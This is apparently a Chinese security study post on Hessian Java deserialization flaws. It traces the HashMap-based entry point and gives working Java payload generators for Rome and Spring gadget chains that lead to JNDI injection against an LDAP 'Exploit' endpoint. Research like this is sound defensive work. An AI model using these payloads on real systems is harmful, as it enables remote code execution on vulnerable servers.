前言
无。
Hessian
简介
Hessian 是一个轻量级的 Java 反序列化框架,和 Java 原生的序列化类似,相比起来 Hessian 更加高效并且非常适合二进制数据传输。
可以在 pom.xml 中加入依赖来使用 Hessian:
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency>
|
简单的序列化和反序列化代码,Data 是个简单的继承序列化接口的类:
1 2 3 4 5 6 7 8 9 10 11 12
| public class App { public static void main( String[] args ) throws Exception { Data data = new Data("Twings"); ByteArrayOutputStream bos = new ByteArrayOutputStream(); HessianOutput ho = new HessianOutput(bos); ho.writeObject(data); byte[] serializedData = bos.toByteArray(); ByteArrayInputStream is = new ByteArrayInputStream(serializedData); HessianInput hi = new HessianInput(is); hi.readObject(); } }
|
Hessian 不会调用序列化类的 readObject 方法,它会调用 readResolve 方法, 而这个方法一般是用在单例模式中的。
Hessian 在恢复对象的属性的时候,不会调用该类的 setter,恢复方式是调用 _unsafe.putObject。
Hessian 会将数据序列化为一个 Map,序列化之后的数据大致如下(URL 编码后):
1
| Mt%00%0Astudy.DataS%00%04dataS%00%06Twingsz
|
反序列化漏洞
Hessian 反序列化同样存在漏洞,不过入口点与 Java 原生序列化的 readObject 方法不同,它的入口点在对 Map 类型反序列化处理时:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public Object readMap(AbstractHessianInput in) throws IOException { Map map;
if (_type == null) map = new HashMap(); else if (_type.equals(Map.class)) map = new HashMap(); else if (_type.equals(SortedMap.class)) map = new TreeMap(); else { try { map = (Map) _ctor.newInstance(); } catch (Exception e) { throw new IOExceptionWrapper(e); } }
in.addRef(map);
while (! in.isEnd()) { map.put(in.readObject(), in.readObject()); }
in.readEnd();
return map; }
|
这里会调用 HashMap 的 put 方法,换而言之就是会调用 key 的 hashcode 方法,所以只要找到一条以 hashcode 开始的利用链,就可以完成一次 Hessian 反序列化攻击。
marshalsec 工具中已经集成了 Hessian 的 5 个 Gadgets,可以使用这个工具直接进行漏洞利用。
不过这个工具的生成流程着实比较复杂,看起来要麻烦一些。
Gadgets - Rome
依赖
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.24</version> </dependency>
|
利用链
- HashMap,put -> hash
- EqualsBean,hashCode -> beanHashCode
- ToStringBean,toString -> getter.invoke
- JdbcRowSetImpl,getDatabaseMetaData -> connect
- JNDI 注入
漏洞利用
可以仿照 apache-commons-collections 的 HashSet 这个 Gadget 的反射生成方式来生成 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); }
public static void main( String[] args ) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit"); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap<>(1); hashMap.put("replacement", "Twings"); Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table"); Object hashMapNode = hashMapTable[1]; setFieldValue(hashMapNode, "key", equalsBean);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); HessianOutput ho = new HessianOutput(bos); ho.writeObject(hashMap); byte[] serializedData = bos.toByteArray(); ByteArrayInputStream is = new ByteArrayInputStream(serializedData); HessianInput hi = new HessianInput(is); System.out.println(java.net.URLEncoder.encode(new String(serializedData))); hi.readObject(); }
|
Gadges - SpringPartiallyComparableAdvisorHolder
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.2.5.RELEASE</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.9.2</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.2.5.RELEASE</version> </dependency>
|
利用链
- HashMap,put -> putVal -> equals
这里需要 hash 冲突,所以选择两个相同的类
- HotSwappableTargetSource,equals -> equals
- XString,equals -> toString
- PartiallyComparableAdvisorHolder,toString -> getOrder
- AspectJPointcutAdvisor,getOrder -> getOrder
- AspectJAroundAdvice,getOrder -> getOrder
- BeanFactoryAspectInstanceFactory,getOrder -> getType
- SimpleJndiBeanFactory,getType -> doGetType -> doGetSingleton -> lookup
- JNDI 注入
漏洞利用
这里的生成比较复杂,反射赋值的时候需要从父类中获取 Field,还有则是序列化的时候需要设置允许不继承 Serializable 接口:
1 2 3 4 5 6 7
| package study;
import com.caucho.hessian.io.SerializerFactory;
public class AllowNonSerializableFactory extends SerializerFactory {
}
|
测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = null; try { field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); }catch ( NoSuchFieldException e ) { if (!obj.getClass().getSuperclass().equals(Object.class)) { field = obj.getClass().getSuperclass().getDeclaredField(fieldName); field.setAccessible(true); } } if (field != null) { field.set(obj, value); } }
private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); }
private static Object createWithoutConstructor(Class clazz) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { Constructor constructor = Object.class.getDeclaredConstructor(); constructor.setAccessible(true); Constructor ctor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, constructor); return ctor.newInstance(); }
public static void main( String[] args ) throws Exception {
HashMap hashMap = new HashMap<>(); hashMap.put("replacement1", "Twings"); hashMap.put("replacement2", "Aluvion");
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
BeanFactoryAspectInstanceFactory beanFactoryAspectInstanceFactory = (BeanFactoryAspectInstanceFactory)createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); setFieldValue(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory); setFieldValue(beanFactoryAspectInstanceFactory, "name", "ldap://127.0.0.1:1389/Exploit");
AbstractAspectJAdvice aspectJAroundAdvice = (AbstractAspectJAdvice)createWithoutConstructor(AspectJAroundAdvice.class); setFieldValue(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);
AspectJPointcutAdvisor aspectJPointcutAdvisor = (AspectJPointcutAdvisor)createWithoutConstructor(AspectJPointcutAdvisor.class); setFieldValue(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);
Object partiallyComparableAdvisorHolder = createWithoutConstructor(Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder")); setFieldValue(partiallyComparableAdvisorHolder, "advisor", aspectJPointcutAdvisor);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(partiallyComparableAdvisorHolder); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("rushB")); Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table"); Object hashMapNode0 = hashMapTable[5]; setFieldValue(hashMapNode0, "key", hotSwappableTargetSource1); Object hashMapNode1 = hashMapTable[10]; setFieldValue(hashMapNode1, "key", hotSwappableTargetSource2);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); HessianOutput ho = new HessianOutput(bos); AllowNonSerializableFactory serializableFactory = new AllowNonSerializableFactory(); serializableFactory.setAllowNonSerializable(true); ho.setSerializerFactory(serializableFactory); ho.writeObject(hashMap); byte[] serializedData = bos.toByteArray(); ByteArrayInputStream is = new ByteArrayInputStream(serializedData); HessianInput hi = new HessianInput(is); System.out.println(java.net.URLEncoder.encode(new String(serializedData))); hi.readObject(); }
|
Gadgets - SpringAbstractBeanFactoryPointcutAdvisor
与上一条类似,触发 AbstractPointcutAdvisor 的 equals 方法,接上 SimpleJndiBeanFactory 的 getBean 然后进入 lookup,JNDI 注入。
Gadgets - 其他两条
懒得仔细看了,看起来比较简单。
后记
尝试将 apache commons collections 的利用链修改后使用,结果发现 Map 的反序列化有点问题,利用失败,具体原因就是在获取 Deserializer 的时候,会因为无法获取到 LazyMap 的 Deserializer 来到这一步:
1 2 3
| else if (Map.class.isAssignableFrom(cl)) { deserializer = new MapDeserializer(cl); }
|
而在 MapDeserializer 类实例化的时候,会传入要反序列化类的无参构造方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public MapDeserializer(Class<?> type) { if (type == null) type = HashMap.class;
_type = type;
Constructor<?> []ctors = type.getConstructors(); for (int i = 0; i < ctors.length; i++) { if (ctors[i].getParameterTypes().length == 0) _ctor = ctors[i]; }
if (_ctor == null) { try { _ctor = HashMap.class.getConstructor(new Class[0]); } catch (Exception e) { throw new IllegalStateException(e); } } }
|
而 LazyMap 类是没有无参构造方法的,所以最后会将构造方法设置为 HashMap 的构造方法,最后到了 readMap 方法的实例化时,实例化出来的就是个 HashMap 类,而不是我们需要的 LazyMap。
参考文章:
https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html
https://paper.seebug.org/1131